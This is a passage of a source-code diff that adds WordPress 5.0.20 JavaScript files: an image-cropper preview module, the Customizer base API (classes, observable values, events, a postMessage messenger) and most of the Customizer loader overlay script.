+Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){
+this.hasPreviewImg=false;
+if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){
+this.previewWrap=$(this.options.previewWrap);
+this.previewImg=this.img.cloneNode(false);
+this.options.displayOnInit=true;
+this.hasPreviewImg=true;
+Element.addClassName(this.previewWrap,"imgCrop_previewWrap");
+Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"});
+this.previewWrap.appendChild(this.previewImg);
+}
+},subDrawArea:function(){
+if(this.hasPreviewImg){
+var _58=this.calcW();
+var _59=this.calcH();
+var _5a={x:this.imgW/_58,y:this.imgH/_59};
+var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight};
+var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"};
+var _5d=this.previewImg.style;
+_5d.width=_5c.w;
+_5d.height=_5c.h;
+_5d.left=_5c.x;
+_5d.top=_5c.y;
+}
+}});
Index: /tags/5.0.20/src/wp-includes/js/customize-base.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-base.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-base.js	(revision 56912)
@@ -0,0 +1,968 @@
+/** @namespace wp */
+window.wp = window.wp || {};
+
+(function( exports, $ ){
+	var api = {}, ctor, inherits,
+		slice = Array.prototype.slice;
+
+	// Shared empty constructor function to aid in prototype-chain creation.
+	ctor = function() {};
+
+	/**
+	 * Helper function to correctly set up the prototype chain, for subclasses.
+	 * Similar to `goog.inherits`, but uses a hash of prototype properties and
+	 * class properties to be extended.
+	 *
+	 * @param  object parent      Parent class constructor to inherit from.
+	 * @param  object protoProps  Properties to apply to the prototype for use as class instance properties.
+	 * @param  object staticProps Properties to apply directly to the class constructor.
+	 * @return child              The subclassed constructor.
+	 */
+	inherits = function( parent, protoProps, staticProps ) {
+		var child;
+
+		// The constructor function for the new subclass is either defined by you
+		// (the "constructor" property in your `extend` definition), or defaulted
+		// by us to simply call `super()`.
+		if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
+			child = protoProps.constructor;
+		} else {
+			child = function() {
+				// Storing the result `super()` before returning the value
+				// prevents a bug in Opera where, if the constructor returns
+				// a function, Opera will reject the return value in favor of
+				// the original object. This causes all sorts of trouble.
+				var result = parent.apply( this, arguments );
+				return result;
+			};
+		}
+
+		// Inherit class (static) properties from parent.
+		$.extend( child, parent );
+
+		// Set the prototype chain to inherit from `parent`, without calling
+		// `parent`'s constructor function.
+		ctor.prototype  = parent.prototype;
+		child.prototype = new ctor();
+
+		// Add prototype properties (instance properties) to the subclass,
+		// if supplied.
+		if ( protoProps )
+			$.extend( child.prototype, protoProps );
+
+		// Add static properties to the constructor function, if supplied.
+		if ( staticProps )
+			$.extend( child, staticProps );
+
+		// Correctly set child's `prototype.constructor`.
+		child.prototype.constructor = child;
+
+		// Set a convenience property in case the parent's prototype is needed later.
+		child.__super__ = parent.prototype;
+
+		return child;
+	};
+
+	/**
+	 * Base class for object inheritance.
+	 */
+	api.Class = function( applicator, argsArray, options ) {
+		var magic, args = arguments;
+
+		if ( applicator && argsArray && api.Class.applicator === applicator ) {
+			args = argsArray;
+			$.extend( this, options || {} );
+		}
+
+		magic = this;
+
+		/*
+		 * If the class has a method called "instance",
+		 * the return value from the class' constructor will be a function that
+		 * calls the "instance" method.
+		 *
+		 * It is also an object that has properties and methods inside it.
+		 */
+		if ( this.instance ) {
+			magic = function() {
+				return magic.instance.apply( magic, arguments );
+			};
+
+			$.extend( magic, this );
+		}
+
+		magic.initialize.apply( magic, args );
+		return magic;
+	};
+
+	/**
+	 * Creates a subclass of the class.
+	 *
+	 * @param  object protoProps  Properties to apply to the prototype.
+	 * @param  object staticProps Properties to apply directly to the class.
+	 * @return child              The subclass.
+	 */
+	api.Class.extend = function( protoProps, classProps ) {
+		var child = inherits( this, protoProps, classProps );
+		child.extend = this.extend;
+		return child;
+	};
+
+	api.Class.applicator = {};
+
+	/**
+	 * Initialize a class instance.
+	 *
+	 * Override this function in a subclass as needed.
+	 */
+	api.Class.prototype.initialize = function() {};
+
+	/*
+	 * Checks whether a given instance extended a constructor.
+	 *
+	 * The magic surrounding the instance parameter causes the instanceof
+	 * keyword to return inaccurate results; it defaults to the function's
+	 * prototype instead of the constructor chain. Hence this function.
+	 */
+	api.Class.prototype.extended = function( constructor ) {
+		var proto = this;
+
+		while ( typeof proto.constructor !== 'undefined' ) {
+			if ( proto.constructor === constructor )
+				return true;
+			if ( typeof proto.constructor.__super__ === 'undefined' )
+				return false;
+			proto = proto.constructor.__super__;
+		}
+		return false;
+	};
+
+	/**
+	 * An events manager object, offering the ability to bind to and trigger events.
+	 *
+	 * Used as a mixin.
+	 */
+	api.Events = {
+		trigger: function( id ) {
+			if ( this.topics && this.topics[ id ] )
+				this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
+			return this;
+		},
+
+		bind: function( id ) {
+			this.topics = this.topics || {};
+			this.topics[ id ] = this.topics[ id ] || $.Callbacks();
+			this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
+			return this;
+		},
+
+		unbind: function( id ) {
+			if ( this.topics && this.topics[ id ] )
+				this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
+			return this;
+		}
+	};
+
+	/**
+	 * Observable values that support two-way binding.
+	 *
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Value
+	 *
+	 * @constructor
+	 */
+	api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{
+		/**
+		 * @param {mixed}  initial The initial value.
+		 * @param {object} options
+		 */
+		initialize: function( initial, options ) {
+			this._value = initial; // @todo: potentially change this to a this.set() call.
+			this.callbacks = $.Callbacks();
+			this._dirty = false;
+
+			$.extend( this, options || {} );
+
+			this.set = $.proxy( this.set, this );
+		},
+
+		/*
+		 * Magic. Returns a function that will become the instance.
+		 * Set to null to prevent the instance from extending a function.
+		 */
+		instance: function() {
+			return arguments.length ? this.set.apply( this, arguments ) : this.get();
+		},
+
+		/**
+		 * Get the value.
+		 *
+		 * @return {mixed}
+		 */
+		get: function() {
+			return this._value;
+		},
+
+		/**
+		 * Set the value and trigger all bound callbacks.
+		 *
+		 * @param {object} to New value.
+		 */
+		set: function( to ) {
+			var from = this._value;
+
+			to = this._setter.apply( this, arguments );
+			to = this.validate( to );
+
+			// Bail if the sanitized value is null or unchanged.
+			if ( null === to || _.isEqual( from, to ) ) {
+				return this;
+			}
+
+			this._value = to;
+			this._dirty = true;
+
+			this.callbacks.fireWith( this, [ to, from ] );
+
+			return this;
+		},
+
+		_setter: function( to ) {
+			return to;
+		},
+
+		setter: function( callback ) {
+			var from = this.get();
+			this._setter = callback;
+			// Temporarily clear value so setter can decide if it's valid.
+			this._value = null;
+			this.set( from );
+			return this;
+		},
+
+		resetSetter: function() {
+			this._setter = this.constructor.prototype._setter;
+			this.set( this.get() );
+			return this;
+		},
+
+		validate: function( value ) {
+			return value;
+		},
+
+		/**
+		 * Bind a function to be invoked whenever the value changes.
+		 *
+		 * @param {...Function} A function, or multiple functions, to add to the callback stack.
+		 */
+		bind: function() {
+			this.callbacks.add.apply( this.callbacks, arguments );
+			return this;
+		},
+
+		/**
+		 * Unbind a previously bound function.
+		 *
+		 * @param {...Function} A function, or multiple functions, to remove from the callback stack.
+		 */
+		unbind: function() {
+			this.callbacks.remove.apply( this.callbacks, arguments );
+			return this;
+		},
+
+		link: function() { // values*
+			var set = this.set;
+			$.each( arguments, function() {
+				this.bind( set );
+			});
+			return this;
+		},
+
+		unlink: function() { // values*
+			var set = this.set;
+			$.each( arguments, function() {
+				this.unbind( set );
+			});
+			return this;
+		},
+
+		sync: function() { // values*
+			var that = this;
+			$.each( arguments, function() {
+				that.link( this );
+				this.link( that );
+			});
+			return this;
+		},
+
+		unsync: function() { // values*
+			var that = this;
+			$.each( arguments, function() {
+				that.unlink( this );
+				this.unlink( that );
+			});
+			return this;
+		}
+	});
+
+	/**
+	 * A collection of observable values.
+	 *
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Values
+	 *
+	 * @constructor
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{
+
+		/**
+		 * The default constructor for items of the collection.
+		 *
+		 * @type {object}
+		 */
+		defaultConstructor: api.Value,
+
+		initialize: function( options ) {
+			$.extend( this, options || {} );
+
+			this._value = {};
+			this._deferreds = {};
+		},
+
+		/**
+		 * Get the instance of an item from the collection if only ID is specified.
+		 *
+		 * If more than one argument is supplied, all are expected to be IDs and
+		 * the last to be a function callback that will be invoked when the requested
+		 * items are available.
+		 *
+		 * @see {api.Values.when}
+		 *
+		 * @param  {string}   id ID of the item.
+		 * @param  {...}         Zero or more IDs of items to wait for and a callback
+		 *                       function to invoke when they're available. Optional.
+		 * @return {mixed}    The item instance if only one ID was supplied.
+		 *                    A Deferred Promise object if a callback function is supplied.
+		 */
+		instance: function( id ) {
+			if ( arguments.length === 1 )
+				return this.value( id );
+
+			return this.when.apply( this, arguments );
+		},
+
+		/**
+		 * Get the instance of an item.
+		 *
+		 * @param  {string} id The ID of the item.
+		 * @return {[type]}    [description]
+		 */
+		value: function( id ) {
+			return this._value[ id ];
+		},
+
+		/**
+		 * Whether the collection has an item with the given ID.
+		 *
+		 * @param  {string}  id The ID of the item to look for.
+		 * @return {Boolean}
+		 */
+		has: function( id ) {
+			return typeof this._value[ id ] !== 'undefined';
+		},
+
+		/**
+		 * Add an item to the collection.
+		 *
+		 * @param {string|wp.customize.Class} item - The item instance to add, or the ID for the instance to add. When an ID string is supplied, then itemObject must be provided.
+		 * @param {wp.customize.Class}        [itemObject] - The item instance when the first argument is a ID string.
+		 * @return {wp.customize.Class} The new item's instance, or an existing instance if already added.
+		 */
+		add: function( item, itemObject ) {
+			var collection = this, id, instance;
+			if ( 'string' === typeof item ) {
+				id = item;
+				instance = itemObject;
+			} else {
+				if ( 'string' !== typeof item.id ) {
+					throw new Error( 'Unknown key' );
+				}
+				id = item.id;
+				instance = item;
+			}
+
+			if ( collection.has( id ) ) {
+				return collection.value( id );
+			}
+
+			collection._value[ id ] = instance;
+			instance.parent = collection;
+
+			// Propagate a 'change' event on an item up to the collection.
+			if ( instance.extended( api.Value ) ) {
+				instance.bind( collection._change );
+			}
+
+			collection.trigger( 'add', instance );
+
+			// If a deferred object exists for this item,
+			// resolve it.
+			if ( collection._deferreds[ id ] ) {
+				collection._deferreds[ id ].resolve();
+			}
+
+			return collection._value[ id ];
+		},
+
+		/**
+		 * Create a new item of the collection using the collection's default constructor
+		 * and store it in the collection.
+		 *
+		 * @param  {string} id    The ID of the item.
+		 * @param  {mixed}  value Any extra arguments are passed into the item's initialize method.
+		 * @return {mixed}  The new item's instance.
+		 */
+		create: function( id ) {
+			return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
+		},
+
+		/**
+		 * Iterate over all items in the collection invoking the provided callback.
+		 *
+		 * @param  {Function} callback Function to invoke.
+		 * @param  {object}   context  Object context to invoke the function with. Optional.
+		 */
+		each: function( callback, context ) {
+			context = typeof context === 'undefined' ? this : context;
+
+			$.each( this._value, function( key, obj ) {
+				callback.call( context, obj, key );
+			});
+		},
+
+		/**
+		 * Remove an item from the collection.
+		 *
+		 * @param  {string} id The ID of the item to remove.
+		 */
+		remove: function( id ) {
+			var value = this.value( id );
+
+			if ( value ) {
+
+				// Trigger event right before the element is removed from the collection.
+				this.trigger( 'remove', value );
+
+				if ( value.extended( api.Value ) ) {
+					value.unbind( this._change );
+				}
+				delete value.parent;
+			}
+
+			delete this._value[ id ];
+			delete this._deferreds[ id ];
+
+			// Trigger removed event after the item has been eliminated from the collection.
+			if ( value ) {
+				this.trigger( 'removed', value );
+			}
+		},
+
+		/**
+		 * Runs a callback once all requested values exist.
+		 *
+		 * when( ids*, [callback] );
+		 *
+		 * For example:
+		 *     when( id1, id2, id3, function( value1, value2, value3 ) {} );
+		 *
+		 * @returns $.Deferred.promise();
+		 */
+		when: function() {
+			var self = this,
+				ids  = slice.call( arguments ),
+				dfd  = $.Deferred();
+
+			// If the last argument is a callback, bind it to .done()
+			if ( $.isFunction( ids[ ids.length - 1 ] ) )
+				dfd.done( ids.pop() );
+
+			/*
+			 * Create a stack of deferred objects for each item that is not
+			 * yet available, and invoke the supplied callback when they are.
+			 */
+			$.when.apply( $, $.map( ids, function( id ) {
+				if ( self.has( id ) )
+					return;
+
+				/*
+				 * The requested item is not available yet, create a deferred
+				 * object to resolve when it becomes available.
+				 */
+				return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
+			})).done( function() {
+				var values = $.map( ids, function( id ) {
+						return self( id );
+					});
+
+				// If a value is missing, we've used at least one expired deferred.
+				// Call Values.when again to generate a new deferred.
+				if ( values.length !== ids.length ) {
+					// ids.push( callback );
+					self.when.apply( self, ids ).done( function() {
+						dfd.resolveWith( self, values );
+					});
+					return;
+				}
+
+				dfd.resolveWith( self, values );
+			});
+
+			return dfd.promise();
+		},
+
+		/**
+		 * A helper function to propagate a 'change' event from an item
+		 * to the collection itself.
+		 */
+		_change: function() {
+			this.parent.trigger( 'change', this );
+		}
+	});
+
+	// Create a global events bus on the Customizer.
+	$.extend( api.Values.prototype, api.Events );
+
+
+	/**
+	 * Cast a string to a jQuery collection if it isn't already.
+	 *
+	 * @param {string|jQuery collection} element
+	 */
+	api.ensure = function( element ) {
+		return typeof element == 'string' ? $( element ) : element;
+	};
+
+	/**
+	 * An observable value that syncs with an element.
+	 *
+	 * Handles inputs, selects, and textareas by default.
+	 *
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Element
+	 *
+	 * @constructor
+	 * @augments wp.customize.Value
+	 * @augments wp.customize.Class
+	 */
+	api.Element = api.Value.extend(/** @lends wp.customize.Element */{
+		initialize: function( element, options ) {
+			var self = this,
+				synchronizer = api.Element.synchronizer.html,
+				type, update, refresh;
+
+			this.element = api.ensure( element );
+			this.events = '';
+
+			if ( this.element.is( 'input, select, textarea' ) ) {
+				type = this.element.prop( 'type' );
+				this.events += ' change input';
+				synchronizer = api.Element.synchronizer.val;
+
+				if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) {
+					synchronizer = api.Element.synchronizer[ type ];
+				}
+			}
+
+			api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
+			this._value = this.get();
+
+			update = this.update;
+			refresh = this.refresh;
+
+			this.update = function( to ) {
+				if ( to !== refresh.call( self ) ) {
+					update.apply( this, arguments );
+				}
+			};
+			this.refresh = function() {
+				self.set( refresh.call( self ) );
+			};
+
+			this.bind( this.update );
+			this.element.bind( this.events, this.refresh );
+		},
+
+		find: function( selector ) {
+			return $( selector, this.element );
+		},
+
+		refresh: function() {},
+
+		update: function() {}
+	});
+
+	api.Element.synchronizer = {};
+
+	$.each( [ 'html', 'val' ], function( index, method ) {
+		api.Element.synchronizer[ method ] = {
+			update: function( to ) {
+				this.element[ method ]( to );
+			},
+			refresh: function() {
+				return this.element[ method ]();
+			}
+		};
+	});
+
+	api.Element.synchronizer.checkbox = {
+		update: function( to ) {
+			this.element.prop( 'checked', to );
+		},
+		refresh: function() {
+			return this.element.prop( 'checked' );
+		}
+	};
+
+	api.Element.synchronizer.radio = {
+		update: function( to ) {
+			this.element.filter( function() {
+				return this.value === to;
+			}).prop( 'checked', true );
+		},
+		refresh: function() {
+			return this.element.filter( ':checked' ).val();
+		}
+	};
+
+	$.support.postMessage = !! window.postMessage;
+
+	/**
+	 * A communicator for sending data from one window to another over postMessage.
+	 *
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Messenger
+	 *
+	 * @constructor
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{
+		/**
+		 * Create a new Value.
+		 *
+		 * @param  {string} key     Unique identifier.
+		 * @param  {mixed}  initial Initial value.
+		 * @param  {mixed}  options Options hash. Optional.
+		 * @return {Value}          Class instance of the Value.
+		 */
+		add: function( key, initial, options ) {
+			return this[ key ] = new api.Value( initial, options );
+		},
+
+		/**
+		 * Initialize Messenger.
+		 *
+		 * @param  {object} params - Parameters to configure the messenger.
+		 *         {string} params.url - The URL to communicate with.
+		 *         {window} params.targetWindow - The window instance to communicate with. Default window.parent.
+		 *         {string} params.channel - If provided, will send the channel with each message and only accept messages a matching channel.
+		 * @param  {object} options - Extend any instance parameter or method with this object.
+		 */
+		initialize: function( params, options ) {
+			// Target the parent frame by default, but only if a parent frame exists.
+			var defaultTarget = window.parent === window ? null : window.parent;
+
+			$.extend( this, options || {} );
+
+			this.add( 'channel', params.channel );
+			this.add( 'url', params.url || '' );
+			this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
+				var urlParser = document.createElement( 'a' );
+				urlParser.href = to;
+				// Port stripping needed by IE since it adds to host but not to event.origin.
+				return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' );
+			});
+
+			// first add with no value
+			this.add( 'targetWindow', null );
+			// This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios.
+			this.targetWindow.set = function( to ) {
+				var from = this._value;
+
+				to = this._setter.apply( this, arguments );
+				to = this.validate( to );
+
+				if ( null === to || from === to ) {
+					return this;
+				}
+
+				this._value = to;
+				this._dirty = true;
+
+				this.callbacks.fireWith( this, [ to, from ] );
+
+				return this;
+			};
+			// now set it
+			this.targetWindow( params.targetWindow || defaultTarget );
+
+
+			// Since we want jQuery to treat the receive function as unique
+			// to this instance, we give the function a new guid.
+			//
+			// This will prevent every Messenger's receive function from being
+			// unbound when calling $.off( 'message', this.receive );
+			this.receive = $.proxy( this.receive, this );
+			this.receive.guid = $.guid++;
+
+			$( window ).on( 'message', this.receive );
+		},
+
+		destroy: function() {
+			$( window ).off( 'message', this.receive );
+		},
+
+		/**
+		 * Receive data from the other window.
+		 *
+		 * @param  {jQuery.Event} event Event with embedded data.
+		 */
+		receive: function( event ) {
+			var message;
+
+			event = event.originalEvent;
+
+			if ( ! this.targetWindow || ! this.targetWindow() ) {
+				return;
+			}
+
+			// Check to make sure the origin is valid.
+			if ( this.origin() && event.origin !== this.origin() )
+				return;
+
+			// Ensure we have a string that's JSON.parse-able
+			if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
+				return;
+			}
+
+			message = JSON.parse( event.data );
+
+			// Check required message properties.
+			if ( ! message || ! message.id || typeof message.data === 'undefined' )
+				return;
+
+			// Check if channel names match.
+			if ( ( message.channel || this.channel() ) && this.channel() !== message.channel )
+				return;
+
+			this.trigger( message.id, message.data );
+		},
+
+		/**
+		 * Send data to the other window.
+		 *
+		 * @param  {string} id   The event name.
+		 * @param  {object} data Data.
+		 */
+		send: function( id, data ) {
+			var message;
+
+			data = typeof data === 'undefined' ? null : data;
+
+			if ( ! this.url() || ! this.targetWindow() )
+				return;
+
+			message = { id: id, data: data };
+			if ( this.channel() )
+				message.channel = this.channel();
+
+			this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
+		}
+	});
+
+	// Add the Events mixin to api.Messenger.
+	$.extend( api.Messenger.prototype, api.Events );
+
+	/**
+	 * Notification.
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 * @since 4.6.0
+	 *
+	 * @memberOf wp.customize
+	 * @alias wp.customize.Notification
+	 *
+	 * @param {string}  code - The error code.
+	 * @param {object}  params - Params.
+	 * @param {string}  params.message=null - The error message.
+	 * @param {string}  [params.type=error] - The notification type.
+	 * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent.
+	 * @param {string}  [params.setting=null] - The setting ID that the notification is related to.
+	 * @param {*}       [params.data=null] - Any additional data.
+	 */
+	api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{
+
+		/**
+		 * Template function for rendering the notification.
+		 *
+		 * This will be populated with template option or else it will be populated with template from the ID.
+		 *
+		 * @since 4.9.0
+		 * @var {Function}
+		 */
+		template: null,
+
+		/**
+		 * ID for the template to render the notification.
+		 *
+		 * @since 4.9.0
+		 * @var {string}
+		 */
+		templateId: 'customize-notification',
+
+		/**
+		 * Additional class names to add to the notification container.
+		 *
+		 * @since 4.9.0
+		 * @var {string}
+		 */
+		containerClasses: '',
+
+		/**
+		 * Initialize notification.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string}   code - Notification code.
+		 * @param {object}   params - Notification parameters.
+		 * @param {string}   params.message - Message.
+		 * @param {string}   [params.type=error] - Type.
+		 * @param {string}   [params.setting] - Related setting ID.
+		 * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId.
+		 * @param {string}   [params.templateId] - ID for template to render the notification.
+		 * @param {string}   [params.containerClasses] - Additional class names to add to the notification container.
+		 * @param {boolean}  [params.dismissible] - Whether the notification can be dismissed.
+		 */
+		initialize: function( code, params ) {
+			var _params;
+			this.code = code;
+			_params = _.extend(
+				{
+					message: null,
+					type: 'error',
+					fromServer: false,
+					data: null,
+					setting: null,
+					template: null,
+					dismissible: false,
+					containerClasses: ''
+				},
+				params
+			);
+			delete _params.code;
+			_.extend( this, _params );
+		},
+
+		/**
+		 * Render the notification.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {jQuery} Notification container element.
+		 */
+		render: function() {
+			var notification = this, container, data;
+			if ( ! notification.template ) {
+				notification.template = wp.template( notification.templateId );
+			}
+			data = _.extend( {}, notification, {
+				alt: notification.parent && notification.parent.alt
+			} );
+			container = $( notification.template( data ) );
+
+			if ( notification.dismissible ) {
+				container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) {
+					if ( 'keydown' === event.type && 13 !== event.which ) {
+						return;
+					}
+
+					if ( notification.parent ) {
+						notification.parent.remove( notification.code );
+					} else {
+						container.remove();
+					}
+				});
+			}
+
+			return container;
+		}
+	});
+
+	// The main API object is also a collection of all customizer settings.
+	api = $.extend( new api.Values(), api );
+
+	/**
+	 * Get all customize settings.
+	 *
+	 * @memberOf wp.customize
+	 *
+	 * @return {object}
+	 */
+	api.get = function() {
+		var result = {};
+
+		this.each( function( obj, key ) {
+			result[ key ] = obj.get();
+		});
+
+		return result;
+	};
+
+	/**
+	 * Utility function namespace
+	 *
+	 * @namespace wp.customize.utils
+	 */
+	api.utils = {};
+
+	/**
+	 * Parse query string.
+	 *
+	 * @since 4.7.0
+	 * @access public
+	 * @memberOf wp.customize.utils
+	 *
+	 * @param {string} queryString Query string.
+	 * @returns {object} Parsed query string.
+	 */
+	api.utils.parseQueryString = function parseQueryString( queryString ) {
+		var queryParams = {};
+		_.each( queryString.split( '&' ), function( pair ) {
+			var parts, key, value;
+			parts = pair.split( '=', 2 );
+			if ( ! parts[0] ) {
+				return;
+			}
+			key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) );
+			key = key.replace( / /g, '_' ); // What PHP does.
+			if ( _.isUndefined( parts[1] ) ) {
+				value = null;
+			} else {
+				value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) );
+			}
+			queryParams[ key ] = value;
+		} );
+		return queryParams;
+	};
+
+	/**
+	 * Expose the API publicly on window.wp.customize
+	 *
+	 * @namespace wp.customize
+	 */
+	exports.customize = api;
+})( wp, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/customize-loader.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-loader.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-loader.js	(revision 56912)
@@ -0,0 +1,286 @@
+/* global _wpCustomizeLoaderSettings */
+/**
+ * Expose a public API that allows the customizer to be
+ * loaded on any page.
+ *
+ * @namespace wp
+ */
+window.wp = window.wp || {};
+
+(function( exports, $ ){
+	var api = wp.customize,
+		Loader;
+
+	$.extend( $.support, {
+		history: !! ( window.history && history.pushState ),
+		hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7)
+	});
+
+	/**
+	 * Allows the Customizer to be overlayed on any page.
+	 *
+	 * By default, any element in the body with the load-customize class will open
+	 * an iframe overlay with the URL specified.
+	 *
+	 *     e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open Customizer</a>
+	 *
+	 * @memberOf wp.customize
+	 *
+	 * @class
+	 * @augments wp.customize.Events
+	 */
+	Loader = $.extend( {}, api.Events,/** @lends wp.customize.Loader.prototype */{
+		/**
+		 * Setup the Loader; triggered on document#ready.
+		 */
+		initialize: function() {
+			this.body = $( document.body );
+
+			// Ensure the loader is supported.
+			// Check for settings, postMessage support, and whether we require CORS support.
+			if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) {
+				return;
+			}
+
+			this.window  = $( window );
+			this.element = $( '<div id="customize-container" />' ).appendTo( this.body );
+
+			// Bind events for opening and closing the overlay.
+			this.bind( 'open', this.overlay.show );
+			this.bind( 'close', this.overlay.hide );
+
+			// Any element in the body with the `load-customize` class opens
+			// the Customizer.
+			$('#wpbody').on( 'click', '.load-customize', function( event ) {
+				event.preventDefault();
+
+				// Store a reference to the link that opened the Customizer.
+				Loader.link = $(this);
+				// Load the theme.
+				Loader.open( Loader.link.attr('href') );
+			});
+
+			// Add navigation listeners.
+			if ( $.support.history ) {
+				this.window.on( 'popstate', Loader.popstate );
+			}
+
+			if ( $.support.hashchange ) {
+				this.window.on( 'hashchange', Loader.hashchange );
+				this.window.triggerHandler( 'hashchange' );
+			}
+		},
+
+		popstate: function( e ) {
+			var state = e.originalEvent.state;
+			if ( state && state.customize ) {
+				Loader.open( state.customize );
+			} else if ( Loader.active ) {
+				Loader.close();
+			}
+		},
+
+		hashchange: function() {
+			var hash = window.location.toString().split('#')[1];
+
+			if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) {
+				Loader.open( Loader.settings.url + '?' + hash );
+			}
+
+			if ( ! hash && ! $.support.history ) {
+				Loader.close();
+			}
+		},
+
+		beforeunload: function () {
+			if ( ! Loader.saved() ) {
+				return Loader.settings.l10n.saveAlert;
+			}
+		},
+
+		/**
+		 * Open the Customizer overlay for a specific URL.
+		 *
+		 * @param  string src URL to load in the Customizer.
+		 */
+		open: function( src ) {
+
+			if ( this.active ) {
+				return;
+			}
+
+			// Load the full page on mobile devices.
+			if ( Loader.settings.browser.mobile ) {
+				return window.location = src;
+			}
+
+			// Store the document title prior to opening the Live Preview
+			this.originalDocumentTitle = document.title;
+
+			this.active = true;
+			this.body.addClass('customize-loading');
+
+			/*
+			 * Track the dirtiness state (whether the drafted changes have been published)
+			 * of the Customizer in the iframe. This is used to decide whether to display
+			 * an AYS alert if the user tries to close the window before saving changes.
+			 */
+			this.saved = new api.Value( true );
+
+			this.iframe = $( '<iframe />', { 'src': src, 'title': Loader.settings.l10n.mainIframeTitle } ).appendTo( this.element );
+			this.iframe.one( 'load', this.loaded );
+
+			// Create a postMessage connection with the iframe.
+			this.messenger = new api.Messenger({
+				url: src,
+				channel: 'loader',
+				targetWindow: this.iframe[0].contentWindow
+			});
+
+			// Expose the changeset UUID on the parent window's URL so that the customized state can survive a refresh.
+			if ( history.replaceState ) {
+				this.messenger.bind( 'changeset-uuid', function( changesetUuid ) {
+					var urlParser = document.createElement( 'a' );
+					urlParser.href = location.href;
+					urlParser.search = $.param( _.extend(
+						api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
+						{ changeset_uuid: changesetUuid }
+					) );
+					history.replaceState( { customize: urlParser.href }, '', urlParser.href );
+				} );
+			}
+
+			// Wait for the connection from the iframe before sending any postMessage events.
+			this.messenger.bind( 'ready', function() {
+				Loader.messenger.send( 'back' );
+			});
+
+			this.messenger.bind( 'close', function() {
+				if ( $.support.history ) {
+					history.back();
+				} else if ( $.support.hashchange ) {
+					window.location.hash = '';
+				} else {
+					Loader.close();
+				}
+			});
+
+			// Prompt AYS dialog when navigating away
+			$( window ).on( 'beforeunload', this.beforeunload );
+
+			this.messenger.bind( 'saved', function () {
+				Loader.saved( true );
+			} );
+			this.messenger.bind( 'change', function () {
+				Loader.saved( false );
+			} );
+
+			this.messenger.bind( 'title', function( newTitle ){
+				window.document.title = newTitle;
+			});
+
+			this.pushState( src );
+
+			this.trigger( 'open' );
+		},
+
+		pushState: function ( src ) {
+			var hash = src.split( '?' )[1];
+
+			// Ensure we don't call pushState if the user hit the forward button.
+			if ( $.support.history && window.location.href !== src ) {
+				history.pushState( { customize: src }, '', src );
+			} else if ( ! $.support.history && $.support.hashchange && hash ) {
+				window.location.hash = 'wp_customize=on&' + hash;
+			}
+
+			this.trigger( 'open' );
+		},
+
+		/**
+		 * Callback after the Customizer has been opened.
+		 */
+		opened: function() {
+			Loader.body.addClass( 'customize-active full-overlay-active' ).attr( 'aria-busy', 'true' );
+		},
+
+		/**
+		 * Close the Customizer overlay.
+		 */
+		close: function() {
+			var self = this, onConfirmClose;
+			if ( ! self.active ) {
+				return;
+			}
+
+			onConfirmClose = function( confirmed ) {
+				if ( confirmed ) {
+					self.active = false;
+					self.trigger( 'close' );
+
+					// Restore document title prior to opening the Live Preview
+					if ( self.originalDocumentTitle ) {
+						document.title = self.originalDocumentTitle;
+					}
+				} else {
+
+					// Go forward since Customizer is exited by history.back()
+					history.forward();
+				}
+				self.messenger.unbind( 'confirmed-close', onConfirmClose );
+			};
+			self.messenger.bind( 'confirmed-close', onConfirmClose );
+
+			Loader.messenger.send( 'confirm-close' );
+		},
+
+		/**
+		 * Callback after the Customizer has been closed.
+		 */
+		closed: function() {
+			Loader.iframe.remove();
